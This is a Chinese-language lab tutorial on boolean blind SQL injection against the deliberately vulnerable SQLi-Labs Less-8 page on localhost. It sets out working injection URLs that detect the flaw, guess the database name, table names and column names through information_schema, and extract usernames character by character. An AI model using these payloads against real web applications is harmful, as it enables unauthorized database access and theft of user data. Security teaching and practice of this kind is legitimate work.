这里靶场我们以“SQLi-Labs”为实战来讲解吧!
一、判断注入点
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=1 --+ 正常
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=2 --+ 错误
或者
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=1 %23 正常,%23代表#
推测结果是:有注入点,并且还是盲注;
二、判断数据库名
1、判断数据库第一位:
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database(),1)='s' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database(),1)>'a' --+
判断正确,显示you are in.......
判断失败,无显示
2、判断数据库第二位:
可以用二分法来提高注入的效率;
left(database(),1),database()显示数据库名称, left(a,b)从左侧截取 a 的前 b 位
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database(),2) > 'sa' --+
http://127.0.0.1/sqli-labs/Less-8/?id=1' and left(database(),2) = 'se' --+
3、判断数据库名称长度是否为8位?
length(database())=8,判断数据库database()名的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())=8 --+
依次类推......
三、猜测数据库表名
1、猜测数据库中的第一个表的第一个字符
利用 substr() 和 ascii()函数进行尝试;
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
ascii(x)=101,判断 x 的ascii码是否等于101?即email中的字母e;
substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度;
2、猜解第一个表的第二位字符
使用 substr(*,2,1)
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+
109 即email中的字母m;
依次类推......
3、猜解第二个表
上面获取第一个表使用的 limit 0,1是从第0个开始,取第1个;
那么:获取第二个表使用 limit 1,1即可!
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=114 --+
依次类推........即可得到所有的表名。
四、获取表中的列名
使用 regexp()函数 获取 users表中的列;
用法: select user() regexp '^[a-z]';
Explain: 正则表达式的用法, user()结果为 root, regexp 为匹配 root 的正则表达式。
第二位可以用 select user() regexp '^ro' 来进行。
1、查看 users 表中的列名是否有 us** 的列?
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+
2、查看 users表中列名是否有 username 的列?
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
五、猜测出表列名数据
利用 ord() 和 mid() 函数获取 users 表列名的值;
mid(a,b,c) 从位置 b 开始, 截取 a 字符串的 c 位;
Ord()函数同 ascii(), 将字符转为 ascii 值;
1、获取 user 表中 username 列名中的第一行的第一个字符;
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
以上语句意思是:获取 users 表中 username 列名中的第一行的第一个字符的 ascii, 与 68 进行比较,不报错,列名值第一位即为D!
依次类推........即可得到表所有的列名的数据值。